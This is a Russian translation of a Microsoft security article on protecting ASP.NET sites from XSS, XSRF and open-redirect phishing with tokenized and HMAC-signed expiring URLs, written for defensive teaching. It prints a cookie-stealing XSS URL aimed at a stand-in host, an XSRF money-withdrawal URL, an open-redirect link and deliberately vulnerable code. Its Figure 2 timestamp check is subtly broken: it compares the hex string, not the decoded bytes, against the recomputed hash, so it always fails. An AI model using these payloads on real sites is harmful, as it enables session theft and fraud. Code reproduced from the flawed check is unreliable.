Заметки о безопасности
Защита веб-сайта с помощью переписывания URL-адреса
Брайан Салливан (Bryan Sullivan)
Содержание
Обзор проблемы
Возможное решение: персонализированные указатели ресурсов
Лучшее решение: URL-адреса с метками
Метод, в котором не используются сведения о состоянии: URL-адреса, время действия которых заканчивается автоматически
Заключительный шаг
Несколько предостережений
Тим Бернерс-Ли когда-то написал знаменитую фразу: «Классные URI не меняются». Его мнение заключалось в том, что неработающие гиперссылки подрывают доверие пользователей к приложению и что универсальные коды ресурсов (URI) следует разрабатывать так, чтобы они оставались неизменными по 200 и более лет. Хотя мне и понятна его точка зрения, я возьму на себя смелость предположить, что во время написания этого утверждения он не предвидел таких способов использования гиперссылок, которые сделают их оружием злоумышленников для атак на ни в чем не повинных пользователей.
Атаки, основанные на запуске межсайтовых сценариев (XSS), на подделке межсайтовых запросов (XSRF), а также фишинг-атаки с помощью открытого перенаправления широко распространяются через вредоносные гиперссылки, которые рассылаются в сообщениях электронной почты. (Тем, кто незнаком с этими атаками, я рекомендую прочесть о них на веб-сайте некоммерческой организации Open Web Application Security Project (OWASP).) Мы могли бы существенно снизить угрозу, связанную с этими уязвимостями, часто меняя наши URL-адреса – не раз в 200 лет, а каждые 10 минут. Злоумышленники лишились бы возможности использовать уязвимости приложений путем массовой рассылки вредоносных ссылок, поскольку ссылки были бы неработающими и неверными к моменту получения сообщений намеченными жертвами. При всем уважении к сэру Тиму, хотя «классные» URI и не должны меняться, но безопасные, определенно, меняться должны.
Обзор проблемы
Прежде чем углубиться в подробности решения, давайте поближе рассмотрим проблему. Вот очень простой пример кода ASP.NET, уязвимого к атаке XSS:
protected void Page_Load(object sender, EventArgs e)
{
// DO NOT USE - this is vulnerable code
Response.Write("Welcome back, " + Request["username"]);
}
Код на этой странице уязвим, потому что значение параметра «имя пользователя» переносится из запроса в ответ без какой-либо проверки или кодирования. Злоумышленник может легко воспользоваться этой возможностью, создав URL-адрес с внедренным в параметр «имя пользователя» сценарием, скажем такой:
page.aspx?username=<script>document.location= 'https://contoso.com/'+document.cookie;</script>
Теперь злоумышленнику достаточно убедить жертву щелкнуть ссылку. Массовая рассылка электронных писем является эффективным способом достижения этого, особенно если использовать немного социотехники (например: «Щелкните здесь, чтобы получить Xbox 360 бесплатно!»). Для эксплуатации уязвимостей XSRF похожие вредоносные URL-адреса могут быть также сконструированы и разосланы по электронной почте:
checking.aspx?action=withdraw&amount=1000&destination=badguy
and open-redirect vulnerabilities:
page.aspx?redirect=http://evil.contoso.com
Уязвимости открытого перенаправления менее известны, чем XSS и XSRF. Они возникают, когда приложение позволяет пользователю указывать в запросе произвольный URL-адрес перенаправления. Так можно организовать фишинг-атаку, то есть ситуацию, при которой пользователь думает, что щелкает ссылку, ведущую на good.adatum.com, но ссылка перенаправляет его на evil.contoso.com.
Возможное решение: персонализированные указатели ресурсов
Одним из возможных решений проблемы является переписывание приложением нужных ему URL-адресов таким образом, чтобы они становились индивидуальными для каждого пользователя (или, что еще лучше, для каждого сеанса пользователя). Например, приложение может переписывать URL-адрес contoso.com/page.aspx как contoso.com/{GUID}/page.aspx, где {GUID} случаен и уникален для каждого сеанса пользователя. Учитывая, что существует 2 128 возможных значений GUID, вероятность угадывания злоумышленником нужного GUID фантастически мала, поэтому маловероятно, что ему удастся создать и разослать по электронной почте правильный (и снабженный вредоносным сюрпризом) URL-адрес.
В ASP.NET уже встроены подобные функции, как часть возможностей по обработке сеансов в режиме без файлов cookie. Поскольку некоторые пользователи не могут или не желают принимать cookie HTTP, ASP.NET можно настроить на сохранение идентификатора сеанса пользователя в URL. Это делается простым изменением в файле web.config:
<sessionState cookieless="true" />
Но при более тщательном рассмотрении оказывается, что этот подход не устраняет такие волновавшие нас уязвимости, как XSS. Может быть, злоумышленник и не угадает верный GUID сеанса, но ему это и не нужно. Он может начать собственный сеанс, получить верный идентификатор сеанса и заставить жертву использовать этот сеанс, рассылая URL-адрес по электронной почте.
Хотя этот сеанс и используется другим пользователем, злоумышленник может одновременно воспользоваться им и украсть личные данные жертвы. Приложение не может точно определить, что один сеанс используется двумя различными людьми – конечно, можно проверить входящий IP-адрес, но существует немало вполне допустимых сценариев, в которых IP-адрес одного пользователя меняется от запроса к запросу или несколько пользователей используют один IP-адрес. Эта атака называется атакой фиксации сеанса и является одной из причин, по которым использовать управление сеансами без файлов cookie HTTP обычно не рекомендуется.
Лучшее решение: URL-адреса с метками
Эффективность метода персонализированных URL-адресов можно существенно увеличить, внеся одно небольшое изменение. Вместо сохранения идентификатора сеанса в URL-адресе мы, как обычно, сохраняем идентификатор в файле cookie HTTP и используем URL-адрес для сохранения общего секрета клиента и сервера. Код, который переписывает URL-адрес, нужно изменить так, чтобы он сохранял уникальное, выделяемое каждому отдельному сеансу случайное значение как в состоянии сеанса, так и в самом URL-адресе:
// create the shared secret
Guid secret = Guid.NewGuid();
Session["secret"] = secret;
// rewrite the URL to include the secret value
...
(Обсуждение кода, с помощью которого можно переписать URL-адреса и проанализировать входящие значения, выходит за рамки этой статьи. Для этой цели можно использовать ASP.NET MVC; о методиках переписывания URL-адреса с помощью ASP.NET также писал в своем блоге Скотт Гатри (Scott Guthrie).)
Для любого запроса сравнивается значение GUID, сохраненное в URL-адресе, со значением в состоянии сеанса. Если они не совпадают или если в URL-адресе нет GUID, то запрос считается вредоносным и блокируется, а IP-адрес, с которого он был сделан, заносится в журнал. Эта защита с помощью общего секрета (также известная как защита с помощью метки) давно рекомендуется как средство предотвращения атак XSRF, но, как можно убедиться, с помощью прерывания вектора распространения вредоносной электронной почты она также неплохо борется и с отраженными уязвимостями XSS.
Важно отметить, что это – не полная защита от XSS. Лучшим способом предотвращения атак XSS является устранение источника проблемы путем проверки ввода и кодирования вывода, но метки можно применить как дополнительный уровень защиты.
Метод, в котором не используются сведения о состоянии: URL-адреса, время действия которых заканчивается автоматически
Хотя метод URL-адресов с метками хорош и надежен, у него есть одна слабость: он полагается на использование состояния сеанса на сервере. В случае приложения, не использующего состояния сеанса, такого как веб-служба или приложение REST, вряд ли стоит только для хранения значений меток добавлять логику состояния сеанса.
В подобных случаях основную цель (лишение злоумышленников возможности рассылать вредоносные гиперссылки по электронной почте) можно выполнить, не сохраняя состояние сеанса на сервере, а применив URL-адреса, время действия которых заканчивается автоматически. URL-адрес, время действия которого заканчивается вскоре после запроса (через 10 минут или около того), существенно уменьшает возможности злоумышленника по отправке этого URL-адреса потенциальным жертвам, по-прежнему предоставляя легальным пользователям достаточно времени для работы с ресурсом.
Один из способов снабдить URL-адрес датой окончания срока действия – переписать его URL так, чтобы в него входила текущая отметка времени, как показано здесь:
https://www.contoso.com/{timestamp}/page.aspx
Каждый раз, как пользователь выполняет запрос к ресурсу, отметка времени в URL-адресе проверяется, чтобы увидеть, не старше ли она 10 минут (или иного установленного временного предела). Если да, то обработка запроса не производится. Возможен и другой вариант: вписать нужное время окончания срока действия в URL-адрес и затем сравнить его с текущим временем. Тем не менее в том виде, как они представлены здесь, оба метода имеют свои недостатки. Злоумышленник может легко подделать URL-адрес, который будет верен в какой-то момент в будущем:
https://www.contoso.com/{current timestamp + one hour}/page.aspx
Если же в URL-адресе содержится отметка окончания времени действия, а не времени первоначального запроса то проблема обостряется еще больше. В этом случае злоумышленник может указать произвольно удаленный момент времени в будущем и тем самым полностью нейтрализовать данный способ защиты:
https://www.contoso.com/{current timestamp + ten years}/page.aspx
Решение этой проблемы состоит в лишении злоумышленников возможности манипулировать отметкой времени. Этого можно добиться, если включить в URL-адрес хэш отметки времени, шифрованный некоторым ключом, таким образом, получится своего рода код проверки подлинности сообщения с помощью ключевого хэширования (HMAC). Очень важно зашифровать хэша ключом: без этого, злоумышленник может, опять-таки, указать будущую отметку времени, вычислить значение хэша для нее и нейтрализовать защиту. Когда хэш зашифрован секретным ключом, это невозможно.
Хотя MD5 и является популярным алгоритмом хэширования, он более не считается безопасным, поскольку исследователи-криптографы уже продемонстрировали способы вызывать конфликт и тем самым нарушить алгоритм. Лучшим выбором будет одна из функций SHA-2, такая как SHA-256, которая на момент написания этой статьи еще не была взломана. SHA-256 применяется такими классами Microsoft .NET Framework, как System.Security.Cryptography.SHA256Cng, SHA256CryptoServiceProvider, SHA256Managed и HMACSHA256.
Подошел бы любой из них, но поскольку у класса HMACSHA256 имеются встроенные функции для применения секретного значения ключа, он является лучшим выбором:
HMACSHA256 hmac = new HMACSHA256(); // use a random key value
Использование конструктора HMACSHA256 по умолчанию применяет к хэшу случайное значение ключа, чего должно быть достаточно для целей безопасности, но это решение не будет работать в случае фермы серверов, поскольку у каждого объекта HMACSHA256 будет отдельный ключ. В случае развертывания приложения в ферме необходимо явно указать ключ в конструкторе и убедиться, что он идентичен для всех серверов в ферме.
Следующим этапом будет вписывание в URL-адрес отметки времени вместе с зашифрованным хэшем. Среди деталей реализации отметьте, что выходными данными метода HMACSHA256.ComputeHash является массив байтов. Его нужно будет преобразовать в строку, являющуюся допустимой частью URL-адреса, поскольку она будет вписана в исходящий URL-адрес. Это преобразование на деле хитрее, чем на словах. Для преобразования произвольных двоичных данных в текст строки обычно используется алгоритм base64. Однако в кодировке base64 содержатся такие символы, как знак равенства (=) и косая черта (/). Они создадут проблемы для синтаксического разбора ASP.NET, даже если будут закодированы как URL-адрес. Вместо этого следует преобразовать двоичные данные в шестнадцатеричную строку последовательно, по одному байту, как показано на рис. 1.
Рис. 1. Создание отметки времени, защищенной ключом
private static string convertToHex(byte[] data)
{
System.Text.StringBuilder sb = new System.Text.StringBuilder(data.Length);
foreach (byte b in data)
sb.AppendFormat("{0:X2}", (int)b);
return sb.ToString();
}
private string generateKeyedTimestamp()
{
long outgoingTicks = DateTime.Now.Ticks;
// get a SHA2 hash value of the timestamp
byte[] timestampHash =
this.hmac.ComputeHash(System.BitConverter.GetBytes(outgoingTicks));
// return the current timestamp with the keyed hash value
return outgoingTicks.ToString() + "-" + convertToHex(timestampHash);
}
Наконец, необходимо проверить входящую отметку времени, пересчитав ее хэш и убедившись, что он совпадает с входящим хэшем. Код, который выполняет эту функцию, показан на рис. 2.
Рис. 2. Проверка входящей отметки времени
private static byte[] convertFromHex(string data)
{
// we know that the hex string must have an even number of digits
if ((data.Length % 2) != 0)
throw new ArgumentException();
byte[] dataHex = new byte[data.Length / 2];
for (int i = 0; i < data.Length; i = i + 2)
{
string hexByte = data.Substring(i, 2);
dataHex[i / 2] = (byte)Convert.ToByte(hexByte, 16);
}
return dataHex;
}
private bool verifyKeyedTimestamp(long incomingTicks, string incomingHmac)
{
if (String.IsNullOrEmpty(incomingHmac))
return false;
byte[] incomingHmacBytes = convertFromHex(incomingHmac);
// recompute the hash and verify that it matches the passed-in value
byte[] recomputedHmac =
this.hmac.ComputeHash(BitConverter.GetBytes(incomingTicks));
// perform byte-by-byte comparison on the arrays
if (incomingHmac.Length != recomputedHmac.Length)
return false;
for (int i = 0; i < incomingHmac.Length; i++)
{
if (incomingHmac[i] != recomputedHmac[i])
return false;
}
return true;
}
Заключительный шаг
Используется ли метод меток или автоматического окончания срока действия, в качестве завершающего этапа необходимо создать в приложении несколько «начальных страниц», доступ к которым возможен без специального маркера URL. Без этого использовать приложение будет невозможно, потому что не будет способа сделать допустимый первоначальный запрос.
Существует много способов назначения начальных страниц: от указания их прямо в коде переписывающего модуля (совершенно точно не рекомендуется) до указания их в файле web.config, но лично я предпочитаю использовать специальный атрибут. Использование специального атрибута сокращает объем кода, который необходимо написать, а также допускает наследование: вполне возможно определить класс LandingPage и назначить этому классу специальный атрибутов, после чего любая страница, производная от LandingPage, также будет начальной страницей.
Начнем с определения класса нового специального атрибута под названием LandingPageAttribute. Наличие в этом классе методов или свойств необязательно. Нужна лишь возможность помечать страницы этим атрибутом и программно определять, помечена ли им страница:
public class LandingPageAttribute : Attribute
{
}
Теперь пометим все страницы, которые предполагается использовать как начальные, атрибутом LandingPage, вот так:
[LandingPage()]
public partial class HomePage : System.Web.UI.Page
Наконец в коде проверки URL-адреса проверим также, имеется ли у запрошенного обработчика специальный атрибут. Если код переписывания URL реализован как HttpModule, то для выполнения проверки можно использовать код, приведенный на рис. 3.
Рис. 3. Проверка на наличие настраиваемого атрибута LandingPageAttribute
public class RewriteModule : IHttpModule
{
public void Init(HttpApplication context)
{
context.PostMapRequestHandler += new
EventHandler(context_PostMapRequestHandler);
}
void context_PostMapRequestHandler(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if ((application == null) || (application.Context == null))
return;
// get the current request handler
IHttpHandler httpHandler = application.Context.CurrentHandler;
if (httpHandler == null)
return;
// reflect into the handler type to look for a LandingPageAttribute
Type handlerType = httpHandler.GetType();
object[] landingPageAttributes =
handlerType.GetCustomAttributes(typeof(LandingPageAttribute),
true);
// allow access if we found any
bool allowAccess = (landingPageAttributes.Length > 0);
...
}
}
Использовать атрибут LandingPage следует с осторожностью. Защиты с помощью переписывания URL-адреса не работают для начальных страниц (поскольку злоумышленник может просто удалить маркер URL), кроме того, единственная уязвимость к XSS всего лишь на одной начальной странице может поставить под угрозу каждую страницу в домене. Злоумышленник сможет внедрить серии запросов XMLHttpRequest в сценарий на стороне клиента, чтобы программно определить нужную метку или отметку времени и соответственно перенаправить атаку.
По возможности определите для приложения единственную начальную страницу, с которой сразу после удаления всех параметров строки запроса будет происходить перенаправление на страницу с переписанным URL-адресом. Например,
https://www.contoso.com/landingpage.aspx?a=b&c=d
автоматически перенаправит на
https://www.contoso.com/(token)/otherpage.aspx
Несколько предостережений
Разумеется, переписывание URL-адресов подходит не для всех приложений. Один из отрицательных побочных эффектов этого подхода заключается в том, что хотя злоумышленники более не могут отправлять вредоносные гиперссылки по электронной почте, обычные пользователи также лишаются возможности отправлять допустимые ссылки и даже ставить закладки на страницы в приложении. Закладки можно ставить на любую из страниц, помеченных как начальные, но, как я упоминал ранее, использовать такие страницы нужно с большой осторожностью. Следовательно, если ожидается, что пользователи будут устанавливать закладки на какие-то страницы, кроме начальной, то переписывание URL-адресов, вероятно, является плохим решением.
Кроме того, хотя переписывание URL-адресов и является простым и быстрым механизмом глубокой защиты, но это всего лишь механизм: глубокой защиты. Это никоим образом не панацея от XSS или любых других атак. URL-адресами с автоматически заканчивающимся сроком действия все же сможет воспользоваться злоумышленник с собственным веб-сервером. Вместо рассылки вредоносных гиперссылок, указывающих прямо на уязвимую страницу, он может рассылать гиперссылки, указывающие на его собственный веб-сайт. При связи с его сайтом через одну из этих ссылок он сможет обратиться к начальной странице на уязвимом сайте, чтобы получить допустимую отметку времени и затем должным образом перенаправить пользователя.
Переписывание URL-адресов затрудняет работу злоумышленника: теперь ему нужно уговорить пользователя пройти по гиперссылке на его веб-сайт (evil.contoso.com), а не на доверенный веб-сайт (), кроме того, он оставляет весьма четкий след, по которому его можно найти. Тем не менее это вряд ли утешит жертв, учетные данные которых будут украдены из-за того, что они поддались электронному письму злоумышленника. Переписывание URL-адресов следует использовать как дополнительную защитную меру, но не забывать при этом об устранении уязвимостей, лежащих в основе проблемы.
Наконец я бы хотел заметить, что описанные в данной статье методики не стоит считать одобренными рекомендациями по разработке от Майкрософт. Используйте их, если хотите, но не стоит принимать их за требования цикла безопасной разработки (SDL). В настоящий момент мы проводим исследования в этой области и будем рады увидеть отзывы читателей. Мы ждем ваших отзывов в блоге SDL (blogs.msdn.com/sdl).
Вопросы и комментарии направляйте по адресу briefs@microsoft.com.
Брайан Салливан (Bryan Sullivan) – директор программы безопасности в группе жизненного цикла разработки безопасности Майкрософт, где он специализируется на вопросах безопасности веб-приложений. Его первая книга, Ajax Security («Безопасность Ajax»), была опубликована издательством Addison-Wesley в декабре 2007 года.